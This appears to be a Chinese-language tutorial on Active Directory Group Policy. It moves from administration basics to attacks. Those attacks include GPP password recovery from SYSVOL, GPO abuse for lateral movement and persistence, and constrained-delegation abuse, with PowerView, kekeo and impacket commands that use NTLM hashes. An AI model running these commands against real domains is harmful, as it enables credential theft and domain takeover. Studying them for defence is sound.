#基本介绍
组策略提供对域用户、成员机器、应用程序的集中化管理和配置。
组策略可分为本机组策略和域的组策略:
- 本机组策略用于计算机管理员统一管理本机以及所有用户。
- 域内的组策略用于域管统一管理域内的所有计算机以及域用户。
打开组策略管理 gpmc.msc
-
组策略链接
以Default Domain Policy为例。在右边的作用域里,可以看到它链接到test.local整个域。也就是说在test.local域内的所有计算机、用户都会受到这条组策略的影响。链接的位置可以是域、OU等。
注意到图片最下面有一个WMI筛选,此功能是作用于筛选后的指定计算机。比如说作用于所有WIN7的电脑,那么只有WIN7的电脑才会应用此组策略。
-
组策略内容
打开组策略编辑器,可以看到分为
计算机配置
以及用户配置
,分别作用于计算机和用户。在配置下又分为策略以及首选项。首选项是Windows Server 2008发布后用来对GPO中的组策略提供额外的功能。策略和首选项的不同之处就在于强制性。策略是受管理的、强制实施的。而首选项则是不受管理的、非强制性的。
-
组策略更新
默认情况下,客户端更新组策略有以下几种方式
-
后台轮询检查域控SYSVOL里每条组策略的GPT.ini,如果高于本地保存的组策略版本,客户端将会更新本地的组策略。默认情况下,计算机组策略会在后台每隔 90 分钟(0-30分钟的抖动)更新一次。域控制器上的组策略会每隔 5 分钟更新一次。
-
用户开机登录时会检查SYSVOL里的GPT.ini。
-
客户端强制更新,执行
gpupdate /force
。域控强制客户端更新
Invoke-GPUpdate -Computer "TESTwin10" -Target "User"
(不会比较域共享目录中组策略的版本,2008 R2 默认不支持该命令,2012支持)
组策略应用顺序
本地组策略 →站点组策略→域组策略→OU组策略。
如果同一个OU上链接了多个GPO,则按照链接顺序从高到低逐个应用。后应用的组策略覆盖先应用的组策略。
-
-
组策略存储
组策略存储在域控的两个位置中。一条GPO可以认为就是一条组策略。GPO有唯一ID用来标识每条组策略。
在 CN=Policies,CN=System,
下,存储了每个GPO的版本信息、GPO 状态和其他组件设置。 在
\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies
中(域内任何人都可以读取)保存了每条GPO的安全设置,脚本文件等策略数据。GPO 的gPCFileSysPath
属性指向了此路径。在域、OU上的gPLink属性来标识链接的组策略,gPOptions属性用于标识组策略是否会被继承。
#GPO 导出与备份
|
|
#还原组策略中保存的密码
如果在组策略中输入了密码,如以用户身份运行计划任务、修改域内主机内置administrator用户密码等。
可以在SYSVOL下的配置中看到加密后的密码(AES-256),而微软公开了解密密钥。
-
可以通过以下命令来快速搜索
findstr /S cpassword \\0day.org\sysvol\*.xml
-
利用Get-GPPPassword,自动查询SYSVOL中的文件,还原出所有明文密码。
Get-GPPPassword
修复:打了补丁KB2962486后,无法在组策略中设置用户名密码。
#横向移动
拿下域管权限后可能防火墙原因无法访问目标电脑,这时候可以利用组策略进行横向。
通过组策略来下放恶意软件、创建/修改计划任务、降级凭据保护、向计算机添加新的帐户到本地管理员组、启用明文密码提取等。
https://github.com/FSecureLABS/SharpGPOAbuse 、https://github.com/FuzzySecurity/StandIn 实现计划任务、启动脚本、添加本地管理员用户。
https://github.com/Hackndo/pyGPOAbuse 可以实现计划任务、添加本地管理员。
https://github.com/rootSySdk/PowerGPOAbuse 可以实现的比较全。
|
|
可以通过cs的execute-assembly
执行。
#权限维持
#添加用户对GPO的权限
其实就是对CN=Policies,CN=System,<BaseDn>
具备CreateChild的权限。
|
|
GPO 链接的权限(可选)
|
|
如果有对域、OU的gPLink属性或gPOpptions属性有修改权限,就可以修改其链接的组策略。
|
|
#SeEnableDelegationPrivilege 特权
有SeEnableDelegationPrivilege权限的域用户才能给域内服务账户设置委派(约束和非约束,但不包括基于资源的约束委派)。该权限只能通过Default Domain Controllers Policy组策略修改(或修改域控的计算机策略)。
并不是拥有一个对象的GenericAll权限,就可以修改对象的msDS-AllowedToDelegateTo属性,只能有SeEnableDelegationPrivilege权限的才行。
-
赋予用户
SeEnableDelegationPrivilege
权限-
通过组策略管理编辑器
-
通过Default Domain Controllers Policy下的GptTmpl.inf文件
文件位置:
\\rootkit.org\SYSVOL\rootkit.org\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf
添加jack用户的sid
再测试环境中,要使更改生效需要域控更新组策略:
gpupdate /force
,并使jack重新登录才有权限。(可能等待时间长些也能生效)
-
-
给服务账户设置委派(只有拥有SPN的用户才能被设置委派,机器账号默认注册了SPN)
-
添加jack对PC-MICLE-KIT$的完全控制权限 PowerView
1 2 3 4 5 6 7 8 9 10 11 12 13 14
#获取PC-MICLE-KIT的objectguid Get-DomainComputer PC-MICLE-KIT #配置jack对PC-MICLE-KIT机器账号的所有权限,(必须配置,不然是无法修改账户属性的) Add-DomainObjectAcl -TargetIdentity 'b6283bcb-c141-4a53-99dd-a8d8a50a7b8d' -PrincipalIdentity jack -Rights All -Verbose #如果利用的是普通域用户的话,获得域用户控制权限后还需要为域用户设置spn,机器用户就跳过这步。 setspn -a test/rootkit.org test #验证权限,jack的sid Get-DomainObjectAcl -Identity PC-MICLE-KIT | ?{$_.SecurityIdentifier -match "S-1-5-21-3759881954-2993291187-3577547808-1135"} #删除权限 Remove-DomainObjectAcl -TargetIdentity "b6283bcb-c141-4a53-99dd-a8d8a50a7b8d" -PrincipalIdentity jack -Rights all -Verbose
-
在jack会话中配置PC-MICLE-KIT到owa2013.rootkit.org的约束委派
1 2 3 4 5 6 7 8 9 10 11 12
#方法一 PowerView #查看PC-MICLE-KIT机器账号的委派设置情况 Get-DomainObject PC-MICLE-KIT -Properties distinguishedname,useraccountcontrol,serviceprincipalname,msds-allowedtodelegateto |fl #配置PC-MICLE-KIT到owa2013 CIFS服务的约束委派: 4096(WORKSTATION_TRUST_ACCOUNT)+16777216(TRUSTED_TO_AUTH_FOR_DELEGATION)=16781312 Set-DomainObject PC-MICLE-KIT -Set @{'msds-allowedtodelegateto'='CIFS/owa2013.rootkit.org';'useraccountcontrol'=16781312} -verbose #方法二 [Microsoft.ActiveDirectory.Management.dll](<https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll>) Import-module .\Microsoft.ActiveDirectory.Management.dll #用户的话使用$user = Get-ADUser test $user = Get-ADComputer PC-MICLE-KIT #配置PC-MICLE-KIT到krbtgt服务的约束委派(只能2008及其以前的KDC支持) Set-ADObject $user -Add @{"msDS-AllowedToDelegateTo" = @("krbtgt/rootkit.org")} -Replace @{"useraccountcontrol"=16781312}
-
-
用
PC-MICLE-KIT$
账号发起s4u2self和s4u2proxy请求-
如果配置到
CIFS/owa2013.rootkit.org
服务的约束委派,那么模拟administrator访问owa2013.rootkit.org CIFS服务1 2 3 4 5 6 7 8
#keko #生成TGT票据 tgt::ask /user:PC-MICLE-KIT$ /domain:rootkit.org /ntlm:a15bc42b9f1f1daa812a0b75a4c775c4 #发起s4u请求 tgs::s4u /tgt:TGT_PC-MICLE-KIT$@ROOTKIT.ORG_krbtgt~rootkit.org@ROOTKIT.ORG.kirbi /user:administrator@rootkit.org /service:CIFS/owa2013.rootkit.org #ptt kerberos::ptt TGS_administrator@rootkit.org@ROOTKIT.ORG_CIFS~owa2013.rootkit.org@ROOTKIT.ORG.kirbi dir \\owa2013.rootkit.org\c$
-
如果配置到krbtgt(即TGS服务)的约束委派
Tips: 黄金票据是通过用
krbtgt
的hash来伪造TGT。而创建到krbtgt用户的约束委派也能达到同样的效果。TGS服务器默认的SPN是krbtgt/domain name
。(只适用于2008及之前的KDC,2012的域控上未成功,2012及以后的KDC,受限委派的时候用的机制变成了基于资源的委派,已测试)1 2 3 4
python3 getST.py -dc-ip 192.168.1.10 -spn krbtgt/0day.org -impersonate administrator 0day.org/PC-JACK-0DAY$ -hashes :35c7a1ec7ab4df8d073abe65e5375f3a #这里的krbtgt的TGS票据,相当于TGT票据 export KRB5CCNAME=administrator.ccache python3 wmiexec.py 0day.org/administrator@OWA2010SP3.0day.org -no-pass -k
-